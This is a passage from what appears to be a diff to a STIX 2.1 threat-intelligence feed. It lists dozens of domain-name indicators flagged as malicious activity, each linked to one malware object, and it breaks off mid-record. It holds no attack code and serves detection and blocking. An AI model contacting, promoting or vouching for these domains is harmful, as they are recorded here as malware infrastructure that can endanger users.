"indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='improvechalice.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.369213Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f63dc575-9347-4cb5-8c93-073a95f10957", + "created": "2023-03-29T12:58:44.369926Z", + "modified": "2023-03-29T12:58:44.369926Z", + "relationship_type": "indicates", + "source_ref": "indicator--46365d1f-c474-4564-bdda-758d973fd9b4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18d5be3d-4cbb-485f-a515-c3c480e86b76", + "created": "2023-03-29T12:58:44.370101Z", + "modified": "2023-03-29T12:58:44.370101Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='throweravailable.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.370101Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--91ad0134-3820-4bf9-936a-8a8049e2f17d", + "created": "2023-03-29T12:58:44.370694Z", + "modified": "2023-03-29T12:58:44.370694Z", + "relationship_type": "indicates", + "source_ref": "indicator--18d5be3d-4cbb-485f-a515-c3c480e86b76", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b137a96-2e0f-4dd4-8745-4e87426c19c1", + "created": "2023-03-29T12:58:44.370863Z", + "modified": "2023-03-29T12:58:44.370863Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hamsterstyling.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.370863Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d2d7993-6f9c-4230-ae00-08d9455ae911", + "created": "2023-03-29T12:58:44.371455Z", + "modified": "2023-03-29T12:58:44.371455Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b137a96-2e0f-4dd4-8745-4e87426c19c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38fc1120-788b-4a4e-bbea-08fc2f2194a7", + "created": "2023-03-29T12:58:44.371624Z", + "modified": "2023-03-29T12:58:44.371624Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='marlinpurplish.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.371624Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--780eed17-3c3b-4272-9f56-f80b1079a594", + "created": "2023-03-29T12:58:44.372218Z", + "modified": "2023-03-29T12:58:44.372218Z", + "relationship_type": "indicates", + "source_ref": "indicator--38fc1120-788b-4a4e-bbea-08fc2f2194a7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2b2a3783-c67d-4013-bc94-52b3b485c1c1", + "created": "2023-03-29T12:58:44.372387Z", + "modified": "2023-03-29T12:58:44.372387Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='upswinggreedless.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.372387Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c90c13eb-318f-4bdd-9bda-941ba224103d", + "created": "2023-03-29T12:58:44.37298Z", + "modified": "2023-03-29T12:58:44.37298Z", + "relationship_type": "indicates", + "source_ref": "indicator--2b2a3783-c67d-4013-bc94-52b3b485c1c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--63b13ec9-30e3-4fd3-9890-d55f8546907c", + "created": "2023-03-29T12:58:44.373148Z", + "modified": "2023-03-29T12:58:44.373148Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='twistedshovels.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.373148Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5baf03f-20a4-4e3e-8c2e-33901dd2b695", + "created": "2023-03-29T12:58:44.373745Z", + "modified": "2023-03-29T12:58:44.373745Z", + "relationship_type": "indicates", + "source_ref": "indicator--63b13ec9-30e3-4fd3-9890-d55f8546907c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--12cfe2c1-d498-4895-9033-c7a9d4adf4fb", + "created": "2023-03-29T12:58:44.373915Z", + "modified": "2023-03-29T12:58:44.373915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='estatebuzz.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.373915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5c3f84e3-3786-4530-a614-3089a806ce3e", + "created": "2023-03-29T12:58:44.374501Z", + "modified": "2023-03-29T12:58:44.374501Z", + "relationship_type": "indicates", + "source_ref": "indicator--12cfe2c1-d498-4895-9033-c7a9d4adf4fb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c5b270e2-f71e-44c3-a5ff-272a130a7e59", + "created": "2023-03-29T12:58:44.374669Z", + "modified": "2023-03-29T12:58:44.374669Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='abroadwizard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.374669Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--99def3f4-b802-4d6e-9a0a-dcc9e6bba885", + "created": "2023-03-29T12:58:44.375257Z", + "modified": "2023-03-29T12:58:44.375257Z", + "relationship_type": "indicates", + "source_ref": "indicator--c5b270e2-f71e-44c3-a5ff-272a130a7e59", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42e1c4cd-ea36-45dc-a272-e8b9ecd4382e", + "created": "2023-03-29T12:58:44.375423Z", + "modified": "2023-03-29T12:58:44.375423Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='septumboots.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.375423Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--af6d8219-81e3-42eb-9110-4094701f4fa7", + "created": "2023-03-29T12:58:44.376056Z", + "modified": "2023-03-29T12:58:44.376056Z", + "relationship_type": "indicates", + "source_ref": "indicator--42e1c4cd-ea36-45dc-a272-e8b9ecd4382e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4e7cd92-78c8-427f-9a36-c49e0a9256a3", + "created": "2023-03-29T12:58:44.376229Z", + "modified": "2023-03-29T12:58:44.376229Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='laboriouscold.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.376229Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c3559ba-d148-4e91-9036-80ef2b097cf1", + "created": "2023-03-29T12:58:44.376938Z", + "modified": "2023-03-29T12:58:44.376938Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4e7cd92-78c8-427f-9a36-c49e0a9256a3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28027106-4008-480e-9e99-cb6078065837", + "created": "2023-03-29T12:58:44.377109Z", + "modified": "2023-03-29T12:58:44.377109Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='drumshunting.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.377109Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3ed17200-6c05-4d3b-9b23-9afc8b88c0f4", + "created": "2023-03-29T12:58:44.37771Z", + "modified": "2023-03-29T12:58:44.37771Z", + "relationship_type": "indicates", + "source_ref": "indicator--28027106-4008-480e-9e99-cb6078065837", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57384b73-2468-4c7c-85b0-74db9b61c6ba", + "created": "2023-03-29T12:58:44.37788Z", + "modified": "2023-03-29T12:58:44.37788Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='recoilgiblet.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.37788Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ca95f5c2-b76f-4891-8dc6-9f4408bfd512", + "created": "2023-03-29T12:58:44.378471Z", + "modified": "2023-03-29T12:58:44.378471Z", + "relationship_type": "indicates", + "source_ref": "indicator--57384b73-2468-4c7c-85b0-74db9b61c6ba", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa39dc63-17f1-4fb5-95c3-e9b552b8e86b", + "created": "2023-03-29T12:58:44.378639Z", + "modified": "2023-03-29T12:58:44.378639Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tabascoambulance.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.378639Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7cf7f703-fa18-4321-bb19-3c73a0b4dca1", + "created": "2023-03-29T12:58:44.379239Z", + "modified": "2023-03-29T12:58:44.379239Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa39dc63-17f1-4fb5-95c3-e9b552b8e86b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--97072dcb-ca7d-46b9-a9e6-a10fb4b29e41", + "created": "2023-03-29T12:58:44.379408Z", + "modified": "2023-03-29T12:58:44.379408Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='delugescrubbed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.379408Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--66fadbbf-40e8-4038-b77e-b9d32e1feddd", + "created": "2023-03-29T12:58:44.379998Z", + "modified": "2023-03-29T12:58:44.379998Z", + "relationship_type": "indicates", + "source_ref": "indicator--97072dcb-ca7d-46b9-a9e6-a10fb4b29e41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83a68b8c-1a69-481d-9aec-eff8aafc134f", + "created": "2023-03-29T12:58:44.380167Z", + "modified": "2023-03-29T12:58:44.380167Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='occhisulmondonews.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.380167Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fbc3a8f5-97e9-4769-be1a-1548cd10c6b8", + "created": "2023-03-29T12:58:44.380763Z", + "modified": "2023-03-29T12:58:44.380763Z", + "relationship_type": "indicates", + "source_ref": "indicator--83a68b8c-1a69-481d-9aec-eff8aafc134f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e170e19-822b-4fca-bb55-91f78513a9cd", + "created": "2023-03-29T12:58:44.380931Z", + "modified": "2023-03-29T12:58:44.380931Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='postinglevel.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.380931Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--63dcb5de-f515-47cf-a3ea-f8e07048f088", + "created": "2023-03-29T12:58:44.381526Z", + "modified": "2023-03-29T12:58:44.381526Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e170e19-822b-4fca-bb55-91f78513a9cd", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dd020b33-2dbc-4044-9523-b336fe07df32", + "created": "2023-03-29T12:58:44.381705Z", + "modified": "2023-03-29T12:58:44.381705Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='joyfullypoach.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.381705Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--817718c2-f90c-4d87-93a0-09b05c4908a2", + "created": "2023-03-29T12:58:44.382302Z", + "modified": "2023-03-29T12:58:44.382302Z", + "relationship_type": "indicates", + "source_ref": "indicator--dd020b33-2dbc-4044-9523-b336fe07df32", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ff5909a4-ebe2-455f-bb91-dec9814a06de", + "created": "2023-03-29T12:58:44.382471Z", + "modified": "2023-03-29T12:58:44.382471Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shapedvision.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.382471Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--45521c84-aad5-4574-b701-cf400d031364", + "created": "2023-03-29T12:58:44.383058Z", + "modified": "2023-03-29T12:58:44.383058Z", + "relationship_type": "indicates", + "source_ref": "indicator--ff5909a4-ebe2-455f-bb91-dec9814a06de", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--5a11114f-568d-4c05-b5ed-28db1b857686", + "created": "2023-03-29T12:58:44.38323Z", + "modified": "2023-03-29T12:58:44.38323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scrapsadness.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.38323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7b658503-c1f8-4731-a76f-eeec61143a0a", + "created": "2023-03-29T12:58:44.383933Z", + "modified": "2023-03-29T12:58:44.383933Z", + "relationship_type": "indicates", + "source_ref": "indicator--5a11114f-568d-4c05-b5ed-28db1b857686", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f700ecde-50a5-44b1-8046-be2033d15ca8", + "created": "2023-03-29T12:58:44.38411Z", + "modified": "2023-03-29T12:58:44.38411Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='icedcamping.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.38411Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b93d8fd5-0050-4699-af20-a52d4c254848", + "created": "2023-03-29T12:58:44.384703Z", + "modified": "2023-03-29T12:58:44.384703Z", + "relationship_type": "indicates", + "source_ref": "indicator--f700ecde-50a5-44b1-8046-be2033d15ca8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bba16436-f8d2-4ca7-86a0-521ff3ede831", + "created": "2023-03-29T12:58:44.384872Z", + "modified": "2023-03-29T12:58:44.384872Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='probiotictweed.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.384872Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a37e92ee-2a07-44fb-bf82-9e2d32576bf0", + "created": "2023-03-29T12:58:44.385463Z", + "modified": "2023-03-29T12:58:44.385463Z", + "relationship_type": "indicates", + "source_ref": "indicator--bba16436-f8d2-4ca7-86a0-521ff3ede831", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc593b2f-429a-46ab-b783-5f7e5503d3d2", + "created": "2023-03-29T12:58:44.385641Z", + "modified": "2023-03-29T12:58:44.385641Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='blinkingeyes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.385641Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e24effbf-03f4-47ca-b89c-d3e8595b152b", + "created": "2023-03-29T12:58:44.386231Z", + "modified": "2023-03-29T12:58:44.386231Z", + "relationship_type": "indicates", + "source_ref": "indicator--fc593b2f-429a-46ab-b783-5f7e5503d3d2", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d553ed1b-29c3-419c-a23a-df37da78270b", + "created": "2023-03-29T12:58:44.3864Z", + "modified": "2023-03-29T12:58:44.3864Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='parrotking.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.3864Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--069d22a1-b3b4-43f1-8f17-313179bcc8d3", + "created": "2023-03-29T12:58:44.386992Z", + "modified": "2023-03-29T12:58:44.386992Z", + "relationship_type": "indicates", + "source_ref": "indicator--d553ed1b-29c3-419c-a23a-df37da78270b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53ad3a31-cf6b-4110-8838-2d2c7b5e9bca", + "created": "2023-03-29T12:58:44.38716Z", + "modified": "2023-03-29T12:58:44.38716Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='partyear.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.38716Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0b70ce67-2193-428a-aa4e-4d4928c0cee4", + "created": "2023-03-29T12:58:44.387745Z", + "modified": "2023-03-29T12:58:44.387745Z", + "relationship_type": "indicates", + "source_ref": "indicator--53ad3a31-cf6b-4110-8838-2d2c7b5e9bca", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b08d0d51-01d2-4d2c-9487-6d19cbe924aa", + "created": "2023-03-29T12:58:44.387914Z", + "modified": "2023-03-29T12:58:44.387914Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rakingacclimate.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.387914Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9932771e-36c7-4650-a874-b7e492f19e0a", + "created": "2023-03-29T12:58:44.388507Z", + "modified": "2023-03-29T12:58:44.388507Z", + "relationship_type": "indicates", + "source_ref": "indicator--b08d0d51-01d2-4d2c-9487-6d19cbe924aa", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e73f5d43-7faf-440f-b486-c668d8929031", + "created": "2023-03-29T12:58:44.388678Z", + "modified": "2023-03-29T12:58:44.388678Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='identicalprocedure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.388678Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db2e6c0f-310f-40fa-b3bb-1c4e8e7396ab", + "created": "2023-03-29T12:58:44.389276Z", + "modified": "2023-03-29T12:58:44.389276Z", + "relationship_type": "indicates", + "source_ref": "indicator--e73f5d43-7faf-440f-b486-c668d8929031", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4a7b4b45-06da-49fa-90a3-7136246a9851", + "created": "2023-03-29T12:58:44.389443Z", + "modified": "2023-03-29T12:58:44.389443Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='saltpushpin.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.389443Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--063620b8-e543-4dd4-addd-b47a20982f15", + "created": "2023-03-29T12:58:44.390049Z", + "modified": "2023-03-29T12:58:44.390049Z", + "relationship_type": "indicates", + "source_ref": "indicator--4a7b4b45-06da-49fa-90a3-7136246a9851", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d4f9115b-87d6-473a-8fd9-d0d29a12ee99", + "created": "2023-03-29T12:58:44.390219Z", + "modified": "2023-03-29T12:58:44.390219Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='imagineframes.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.390219Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--feafcf83-e57c-42b8-b097-35181b49f14e", + "created": "2023-03-29T12:58:44.390929Z", + "modified": "2023-03-29T12:58:44.390929Z", + "relationship_type": "indicates", + "source_ref": "indicator--d4f9115b-87d6-473a-8fd9-d0d29a12ee99", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30ed7e9a-8667-4f27-ae7c-174f88a6ee98", + "created": "2023-03-29T12:58:44.391104Z", + "modified": "2023-03-29T12:58:44.391104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='decencysnowbird.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.391104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56645303-5009-46ae-a5c9-eccc0eea25db", + "created": "2023-03-29T12:58:44.391702Z", + "modified": "2023-03-29T12:58:44.391702Z", + "relationship_type": "indicates", + "source_ref": "indicator--30ed7e9a-8667-4f27-ae7c-174f88a6ee98", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a4f7d198-1f64-4b1a-a8f7-77502dca1922", + "created": "2023-03-29T12:58:44.391871Z", + "modified": "2023-03-29T12:58:44.391871Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='femmeagal.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.391871Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4590c742-dafc-469a-abb3-ad42f413d0f1", + "created": "2023-03-29T12:58:44.392454Z", + "modified": "2023-03-29T12:58:44.392454Z", + "relationship_type": "indicates", + "source_ref": "indicator--a4f7d198-1f64-4b1a-a8f7-77502dca1922", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--45ce06f9-e262-4fe9-b8f9-ed1cfab5115d", + "created": "2023-03-29T12:58:44.392622Z", + "modified": "2023-03-29T12:58:44.392622Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jugglethousand.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.392622Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f3d379bc-48de-420b-a6a5-3a69dfe5633e", + "created": "2023-03-29T12:58:44.393219Z", + "modified": "2023-03-29T12:58:44.393219Z", + "relationship_type": "indicates", + "source_ref": "indicator--45ce06f9-e262-4fe9-b8f9-ed1cfab5115d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4d96fe39-5b09-4f52-8814-dd424dfd0b12", + "created": "2023-03-29T12:58:44.393386Z", + "modified": "2023-03-29T12:58:44.393386Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sparkeldesign.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.393386Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a9ced924-af88-481b-92b3-c4709fc37c6b", + "created": "2023-03-29T12:58:44.393992Z", + "modified": "2023-03-29T12:58:44.393992Z", + "relationship_type": "indicates", + "source_ref": "indicator--4d96fe39-5b09-4f52-8814-dd424dfd0b12", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--747da1ed-591e-4fc0-983b-e4de14c3dca3", + "created": "2023-03-29T12:58:44.394163Z", + "modified": "2023-03-29T12:58:44.394163Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='thrivingharbor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.394163Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5062199b-a75d-49a2-9d7c-96b043e4fb82", + "created": "2023-03-29T12:58:44.394757Z", + "modified": "2023-03-29T12:58:44.394757Z", + "relationship_type": "indicates", + "source_ref": "indicator--747da1ed-591e-4fc0-983b-e4de14c3dca3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--3eb185e7-f96e-4a8e-ad7a-ef58dbcce1b6", + "created": "2023-03-29T12:58:44.394929Z", + "modified": "2023-03-29T12:58:44.394929Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='opponentpasta.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.394929Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e329082-71dd-4923-a5b8-6f1207d48986", + "created": "2023-03-29T12:58:44.395522Z", + "modified": "2023-03-29T12:58:44.395522Z", + "relationship_type": "indicates", + "source_ref": "indicator--3eb185e7-f96e-4a8e-ad7a-ef58dbcce1b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9a43b0a-ad3d-4f6b-bc01-b0aa3414b1f7", + "created": "2023-03-29T12:58:44.39569Z", + "modified": "2023-03-29T12:58:44.39569Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overlookcitizen.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.39569Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--48c9bbd4-251a-4ccb-ad3a-3f0e9d1d0bbc", + "created": "2023-03-29T12:58:44.396286Z", + "modified": "2023-03-29T12:58:44.396286Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9a43b0a-ad3d-4f6b-bc01-b0aa3414b1f7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--195bc919-a07b-48a7-a4f8-09a2f50be896", + "created": "2023-03-29T12:58:44.396454Z", + "modified": "2023-03-29T12:58:44.396454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='vacanzesuprema.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.396454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--008a0f2b-d6f8-4814-bb08-6d4acb6b09f2", + "created": "2023-03-29T12:58:44.397047Z", + "modified": "2023-03-29T12:58:44.397047Z", + "relationship_type": "indicates", + "source_ref": "indicator--195bc919-a07b-48a7-a4f8-09a2f50be896", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e7b62514-a9a4-4767-92f5-a83e680ed6c9", + "created": "2023-03-29T12:58:44.397218Z", + "modified": "2023-03-29T12:58:44.397218Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='homeoneaccount.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.397218Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--268e6796-7f1e-4ade-a8eb-9a768f19deb4", + "created": "2023-03-29T12:58:44.397929Z", + "modified": "2023-03-29T12:58:44.397929Z", + "relationship_type": "indicates", + "source_ref": "indicator--e7b62514-a9a4-4767-92f5-a83e680ed6c9", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + 